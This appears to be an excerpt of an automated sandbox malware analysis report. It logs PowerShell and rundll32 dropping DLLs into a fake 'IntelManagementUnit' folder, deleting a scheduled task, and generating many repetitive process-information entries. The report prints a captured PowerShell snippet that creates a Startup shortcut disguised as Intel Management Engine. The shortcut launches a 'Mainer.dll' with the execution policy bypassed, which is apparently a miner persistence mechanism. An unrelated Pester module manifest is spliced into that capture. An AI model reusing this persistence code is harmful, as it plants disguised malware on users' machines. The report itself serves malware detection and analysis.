Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD322800BD pushad ; iretd	17_2_00007FFD322800C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD32280880 push E95E5067h; ret	23_2_00007FFD32280899
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD322800BD pushad ; iretd	23_2_00007FFD322800C1

Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll			Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll			Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\InstallError.txt

Jump to behavior

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll,DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell user required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/42183

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
